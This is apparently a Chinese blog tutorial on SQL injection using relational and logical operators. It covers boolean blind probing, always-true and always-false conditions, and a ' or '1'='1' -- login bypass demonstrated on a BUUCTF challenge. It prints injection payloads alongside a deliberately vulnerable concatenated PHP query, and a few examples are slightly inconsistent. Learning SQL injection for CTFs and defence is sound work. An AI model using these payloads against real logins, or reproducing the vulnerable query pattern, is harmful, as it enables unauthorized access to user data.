关系_逻辑__运算符SQL注入
1、关系运算符
等于:select * from users where id = 10;
类似的还有其他大于、小于、不等于等等。
between : select * from users where id between 1 and 5
in : ---- where id in (1,2,3);
not in: ---- where id not in (1,2,3);
is null: ---- where id is null;
is not null : ---- where id is not null;
like : ---- where id like ‘xiao%’;
关系运算符盲注猜测
SQL查询语句:
$sql="select * from users where uname='$uname'"
正常传参:uname=admin
结果:
select * from users where uname='admin'
网页盲注猜测实例:
注入传参:uname=admin’ and uname>‘a’ and uname<'d
结果:
select * from users where uname='admin' and uname>'a' and uname<'b'
测试当前账户字符长度:
select * from users where uname='admin' and length(user())>0
逐步增大数值,当超过某个数页面显示不正常,那么user表的长度就为那个数。
2、逻辑运算符
与:select * from users where uname=‘xiao’ and age>20;
select 1 && 2;
或:select * from users where uname=‘xiao’ or password=‘123’
非:select * from users where uname not in (‘xiao’,‘xiao1’)
异或:select 1 xor 2;
复杂逻辑与注入逻辑关系:
不变逻辑:
不变逻辑是指我们在正常的SQL查询语句后面增加一些语句,但不会影响查询结果。 例如添加“and 1=1”,该式本来就为真,所以不会影响查询结果。
select * from users where uid=10003 and uname='admin' and 1=1;
select * from users where uid=10003 and uname='admin' or 1=2;
select * from users where uname='admin' && !!!!!!!1;
空集逻辑:
空集逻辑呢,就是添加一些语句使整个SQL查询语句不为真。目的一般是看报错信息,从而判断该如何进行注入。
select * from users where uid=10003 and uname='admin' and 1=2;
select * from users where uid=10003 and uname='admin' and 0=true;
select * from users where uname='admin' && !1;
全集逻辑:
全集逻辑就是在SQL查询语句中添加永真式进行SQL注入,因为它们的布尔值为真,那么在or语句中该SQL查询语句都为真,后台就会进行数据查询了。 类似下面这些等式判断的布尔值都是真:
''=''
!!!!!!!1
那么我们在利用注入语句查询信息的时候可以这样用,我们就可以查询users表中的用户信息啦。
select * from users where uid=10003 and uname='admin' or 1=1;
select * from users where uname='admin' or !!!1;
select * from users where uname='admin' or !!!!!!!1;
select * from users where uname='admin' or ' '=' ';
3、全集逻辑绕过密码验证
PHP代码中SQL查询语句:
$sql="select * from users where uname=".$uname." and password=".password.";
正常传参:$uname=‘xiao’
? $password=‘123’
结果:
select * from users where uname='xiao' and password='123'
注入传参: $uname=’ or ‘1’ = ‘1’ –
结果:
select * from users where uname='' or '1'='1'
解释注入传参的意图:首先闭合单引号,然后添加“or 1=1”用永真式使语句为真,最后使用“–”注释符将后面的语句注释掉。
实战例子:BUUCTF中的一个题目:[极客大挑战 2019]EasySQL
账号密码都是输入 ‘ or 1=1– 点击登录 那么就绕过了账号密码验证,登录成功,拿下flag!!!
最后:如果觉得文章还不错的话,请关注、点赞、评论,我会接着写这类的文章分享给大家的!!!
|